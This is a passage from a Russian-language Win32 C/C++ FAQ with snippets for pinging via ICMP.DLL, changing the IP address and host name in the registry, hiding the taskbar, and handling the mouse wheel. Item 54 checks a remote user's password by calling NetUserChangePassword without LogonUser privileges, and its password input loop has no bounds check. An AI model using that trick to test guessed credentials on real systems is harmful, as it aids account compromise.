UINT errmode;
TCHAR szVolName[256];
DWORD dwMaxComSize;
DWORD dwFlags;
TCHAR szFS[256];
BOOL bRes;
errmode = SetErrorMode ( SEM_FAILCRITICALERRORS );
//если не сделать SetErrorMode - выскочит стандартное окошко "Drive Not Ready"
bRes = GetVolumeInformation ( lpszDrive,
szVolName,
sizeof(szVolName),
NULL, &dwMaxComSize,
&dwFlags,
szFS, sizeof(szFS) );
SetErrorMode ( errmode );
return bRes;
}
Эта технология также работает с CDROM и другими сменными устройствами.
49)----------------------------------------------------------------------------
Q> Как послать пинг?
A> Есть в кишках Windows icmp.dll. Юзать надо именно её.
//
// PingI.c -- Simple ping program using the proprietary
// Microsoft ICMP API
// Автор неизвестен
#include
#include
#include
#include
typedef struct tagIPINFO
{
u_char Ttl; // Time To Live
u_char Tos; // Type Of Service
u_char IPFlags; // IP flags
u_char OptSize; // Size of options data
u_char FAR *Options; // Options data buffer
}IPINFO, *PIPINFO;
typedef struct tagICMPECHO
{
u_long Source; // Source address
u_long Status; // IP status
u_long RTTime; // Round trip time in milliseconds
u_short DataSize; // Reply data size
u_short Reserved; // Unknown
void FAR *pData; // Reply data buffer
IPINFO ipInfo; // Reply options
}ICMPECHO, *PICMPECHO;
// ICMP.DLL Export Function Pointers
HANDLE (WINAPI *pIcmpCreateFile)(VOID);
BOOL (WINAPI *pIcmpCloseHandle)(HANDLE);
DWORD (WINAPI *pIcmpSendEcho)
(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD);
//
//
void main(int argc, char **argv)
{
WSADATA wsaData; // WSADATA
ICMPECHO icmpEcho; // ICMP Echo reply buffer
HANDLE hndlIcmp; // LoadLibrary() handle to ICMP.DLL
HANDLE hndlFile; // Handle for IcmpCreateFile()
LPHOSTENT pHost; // Pointer to host entry structure
struct in_addr iaDest; // Internet address structure
DWORD *dwAddress; // IP Address
IPINFO ipInfo; // IP Options structure
int nRet; // General use return code
DWORD dwRet; // DWORD return code
int x;
// Check arguments
if (argc != 2)
{
fprintf(stderr,"\nSyntax: pingi HostNameOrIPAddress\n");
return;
}
// Dynamically load the ICMP.DLL
hndlIcmp = LoadLibrary("ICMP.DLL");
if (hndlIcmp == NULL)
{
fprintf(stderr,"\nCould not load ICMP.DLL\n");
return;
}
// Retrieve ICMP function pointers
pIcmpCreateFile = (HANDLE (WINAPI *)(void))
GetProcAddress(hndlIcmp,"IcmpCreateFile");
pIcmpCloseHandle = (BOOL (WINAPI *)(HANDLE))
GetProcAddress(hndlIcmp,"IcmpCloseHandle");
pIcmpSendEcho = (DWORD (WINAPI *)
(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD))
GetProcAddress(hndlIcmp,"IcmpSendEcho");
// Check all the function pointers
if (pIcmpCreateFile == NULL ||
pIcmpCloseHandle == NULL ||
pIcmpSendEcho == NULL)
{
fprintf(stderr,"\nError getting ICMP proc address\n");
FreeLibrary(hndlIcmp);
return;
}
// Init WinSock
nRet = WSAStartup(0x0101, &wsaData );
if (nRet)
{
fprintf(stderr,"\nWSAStartup() error: %d\n", nRet);
WSACleanup();
FreeLibrary(hndlIcmp);
return;
}
// Check WinSock version
if (0x0101 != wsaData.wVersion)
{
fprintf(stderr,"\nWinSock version 1.1 not supported\n");
WSACleanup();
FreeLibrary(hndlIcmp);
return;
}
// Lookup destination
// Use inet_addr() to determine if we're dealing with a name
// or an address
iaDest.s_addr = inet_addr(argv[1]);
if (iaDest.s_addr == INADDR_NONE)
pHost = gethostbyname(argv[1]);
else
pHost = gethostbyaddr((const char *)&iaDest,
sizeof(struct in_addr), AF_INET);
if (pHost == NULL)
{
fprintf(stderr, "\n%s not found\n", argv[1]);
WSACleanup();
FreeLibrary(hndlIcmp);
return;
}
// Tell the user what we're doing
printf("\nPinging %s [%s]", pHost->h_name,
inet_ntoa((*(LPIN_ADDR)pHost->h_addr_list[0])));
// Copy the IP address
dwAddress = (DWORD *)(*pHost->h_addr_list);
// Get an ICMP echo request handle
hndlFile = pIcmpCreateFile();
for (x = 0; x < 4; x++)
{
// Set some reasonable default values
ipInfo.Ttl = 255;
ipInfo.Tos = 0;
ipInfo.IPFlags = 0;
ipInfo.OptSize = 0;
ipInfo.Options = NULL;
//icmpEcho.ipInfo.Ttl = 256;
// Reqest an ICMP echo
dwRet = pIcmpSendEcho(
hndlFile, // Handle from IcmpCreateFile()
*dwAddress, // Destination IP address
NULL, // Pointer to buffer to send
0, // Size of buffer in bytes
&ipInfo, // Request options
&icmpEcho, // Reply buffer
sizeof(struct tagICMPECHO),
5000); // Time to wait in milliseconds
// Print the results
iaDest.s_addr = icmpEcho.Source;
printf("\nReply from %s Time=%ldms TTL=%d",
inet_ntoa(iaDest),
icmpEcho.RTTime,
icmpEcho.ipInfo.Ttl);
if (icmpEcho.Status)
{
printf("\nError: icmpEcho.Status=%ld",
icmpEcho.Status);
break;
}
}
printf("\n");
// Close the echo request file handle
pIcmpCloseHandle(hndlFile);
FreeLibrary(hndlIcmp);
WSACleanup();
}
{mospagebreak}
50)--------------------------------------------------------------------------
Q> Как программно поменять IP адрес?
1. Открываем HKEY_LOCAL_MACHINE
2. Ищем subKey = SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
\"netcard# "
"netcard# " номер сетевой карты (обычно 1)
3. Берем значение "ServiceName"
4. Ищем subKey = SYSTEM\CurrentControlSet\Services\"ServiceName"
\Parameters\TcpIp"
5. Устанавливаем "IpAddress" для смены IP адреса
6. Устанавливаем "SubnetMask" для смены subnet mask
7. Устанавливаем "DefaultGateway" для смены default gateway
8. Перегружаемся.
Q> Как программно поменять HostName?
1. Открываем HKEY_LOCAL_MACHINE
2. Ищем subKey = SYSTEM\CurrentControlSet\Services\TcpIp\Parameters
3. Устанавливаем значение "HostName"
4. Ищем subKey = SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
5. Устанавливаем значение "ComputerName"
6. Перегружаемся.
Внимание: Неправильное исправление этих значений регистри может вызвать
большие проблемы. Использовать на свой страх и риск.
51)----------------------------------------------------------------------------
Q> Как программно нажать кнопку "Start" ?
#include
void main(void)
{
HWND hTaskBar, hButton;
HDC hDCScreen = GetDC(NULL);
DWORD ScreenHeight=GetDeviceCaps(hDCScreen,VERTRES);
ReleaseDC(NULL, hDCScreen);
hTaskBar= FindWindow("Shell_TrayWnd",NULL);
hButton= GetWindow(hTaskBar, GW_CHILD);
// Hажать кнопку "Пуск"
SendMessage(hButton, WM_LBUTTONDOWN,MK_LBUTTON,LOWORD(5)+
HIWORD(ScreenHeight-20));
// Дальше только ради прикола...
// Спрячем кнопку "Пуск"
ShowWindow(hButton, SW_HIDE);
// Насладимся эрелищем 2 секунды
Sleep(2000);
// Покажем кнопку "Пуск"
ShowWindow(hButton, SW_NORMAL);
}
52)---------------------------------------------------------------------------
Q> Как убрать таскбар?
HWND H;
H=FindWindow("Shell_TrayWnd",NULL); //находим хандл окна таскбара
ShowWindow(H, SW_HIDE);//делаем его невидимым
Sleep(2000);
ShowWindow(H, SW_SHOW);//делаем его видимым
}
53)----------------------------------------------------------------------------
Q> Как в GUI приложении открыть консоль и назначить stdin,stdout,stderr?
#include
#include
#include
#include
BOOL CreateConsole(void)
{
FreeConsole(); //на всякий случай
if ( AllocConsole() )
{
int hCrt = _open_osfhandle((long)
GetStdHandle(STD_OUTPUT_HANDLE), _O_TEXT);
*stdout = *(::_fdopen(hCrt, "w"));
::setvbuf(stdout, NULL, _IONBF, 0);
*stderr = *(::_fdopen(hCrt, "w"));
::setvbuf(stderr, NULL, _IONBF, 0);
return TRUE;
}return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
CreateConsole();
printf("WinMain with Console test\n");
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return TRUE;
}
{mospagebreak}
54)----------------------------------------------------------------------------
Q> Как,зная имя и пароль пользователя и не имея привилегий для LogonUser(),
программно проверить их на правильность?
A> Наиболее просто это воспользоваться NetUserChangePassword()
#include
#include
//#include
#include
#pragma comment(lib,"netapi32")
//------------------------------------------------
void main(void)
{
char UserName[MAX_PATH];
char Password[MAX_PATH];
char CompName[MAX_PATH];
char tmp[MAX_PATH];
strcpy(tmp,"\\\\");
printf("Computer:");
scanf("%s",CompName);
if(CompName[0]!='\\')
{
strcat(tmp,CompName);
strcpy(CompName,tmp);
}
printf("User Name:");
scanf("%s",UserName );
printf("Password:");
char ch;
UINT u=0;
do
{
ch = _getch();
if(ch=='\b')
{
_putch('\b');
u--;
}
else
{
if(ch!='\r')_putch( '*' );
Password[u]=ch;
u++;
}
} while( ch != '\r' );
printf("\n");
Password[--u]=0;u=0;
wchar_t wcompname[MAX_PATH];
wchar_t wusername[MAX_PATH];
wchar_t wpassword[MAX_PATH];
mbstowcs( wcompname, CompName, strlen(CompName)+1 );
mbstowcs( wusername, UserName, strlen(UserName)+1 );
mbstowcs( wpassword, Password, strlen(Password)+1 );
switch(NetUserChangePassword(
wcompname,wusername,wpassword,wpassword))
{
case ERROR_ACCESS_DENIED:
printf("The user does not have access to the requested information.\n");
break;
case NERR_InvalidComputer:
printf("The computer name is invalid.\n");
break;
case NERR_NotPrimary:
printf("The operation is allowed only on the primary domain controller of the domain.\n");
break;
case NERR_UserNotFound:
printf("The user name could not be found.\n");
break;
case NERR_PasswordTooShort:
printf("The password is shorter than required.\n");
break;
case 0:
printf("User Ok\n");
break;
default:printf ("Error\n");;
}
}
55)--------------------------------------------------------------------------
Q> Как динамически прятать/показывать кнопку на таскбаре?
A>
Последовательность действий :
a) Создаем дополнительное невидимое ws_popup окно .
m_hWnd=CreateWindowEx (NULL,TEXT("static"), TEXT(""),
WS_POPUP,
0,0,1600,1200,NULL,(HMENU)NULL,
NULL, NULL);
b) Hужное нам окно делаем childом на этом окне .
hMain=CreateWindowEx (NULL,TEXT("static"), TEXT("Main window"),
WS_POPUP | WS_VISIBLE,
40,50,200,300,m_hWnd,(HMENU)NULL,
NULL, NULL);
c) Теперь спрятать кнопку -
{
ShowWindow(hMain,SW_HIDE);
SetWindowLong(hMain,GWL_EXSTYLE,WS_EX_APPWINDOW);
ShowWindow(hMain,SW_SHOW);
}
d) Показать -
{
ShowWindow(hMain,SW_HIDE);
SetWindowLong(hMain,GWL_EXSTYLE,NULL);
ShowWindow(hMain,SW_SHOW);
}
{mospagebreak}
55)--------------------------------------------------------------------------
Q> Как обрабатывать сообщения от колеса MS Intellimouse?
A>
Для BCB: (не работает в Win95)
в файле unit1.h:
#ifndef WM_MOUSEWHEEL
#define WM_MOUSEWHEEL 0x020A
#endif
.
.
.
public: // User declarations
__fastcall TForm1(TComponent * Owner);
void __fastcall OnWheel(TMessage &msg);
BEGIN_MESSAGE_MAP
MESSAGE_HANDLER(WM_MOUSEWHEEL,TMessage,OnWheel)
END_MESSAGE_MAP(TForm)
в файле unit1.cpp:
void __fastcall TForm1::OnWheel(TMessage &msg)
{
if(HIWORD(msg.WParam) <= 32512)
{ };
else
{ };
}
Для MSVC:
The IntelliMouse (the mouse with the wheel in the center) is pretty neat.
You can register to get the wheel messages from it in your top level frame.
If you want to handle the message in a view you must pass the message down
manually as is illustrated. To get messages from the wheel add the following
to your application:
To make the wheel act like a simple middle button just add handlers for:
WM_MBUTTONDOWN
WM_MBUTTONUP
and so-on just like left and right buttons.
You won't find this in the class wizzard but you can add them manually.
For wheel messages do the following:
Declare a global in your app as follows:
UINT uMSH_MOUSEWHEEL;
and everyplace else declare an external so you can get at it
extern UINT uMSH_MOUSEWHEEL;
In your initialization code register the following message
uMSH_MOUSEWHEEL = RegisterWindowMessage("MSWHEEL_ROLLMSG");
In the MAIN FRAME add the following:
To the message map in the .H file add afx_msg LONG OnWheel(UINT a, LONG b);
To the message map in the .CPP file add
ON_REGISTERED_MESSAGE(uMSH_MOUSEWHEEL,OnWheel)
And then add the message handler as follows
LONG CMainFrame::OnMouseWheel(UINT nFlags, LONG pValue)
{
if(nFlags & 0x0100) // Rolled in
{
// do rolled in stuff here
}
else // Rolled out
{
// do rolled out stuff here
}
return 0;
}
if you want to receive this message in a view then add the same handlers
shown above to your view and then do the following in your main frame.
LONG CMainFrame::OnWheel(UINT a, LONG b)
{
BOOL yn;
MDIChildWnd* aw = (MDIChildWnd*)MDIGetActive(&yn);
if(aw)
{
CView * junk;
junk = aw->GetActiveView();
if(junk)
junk->SendMessage(uMSH_MOUSEWHEEL,a,b);
}
return 0;
}
Более подробно обо всем этом можно почитать в MS Intellimouse SDK.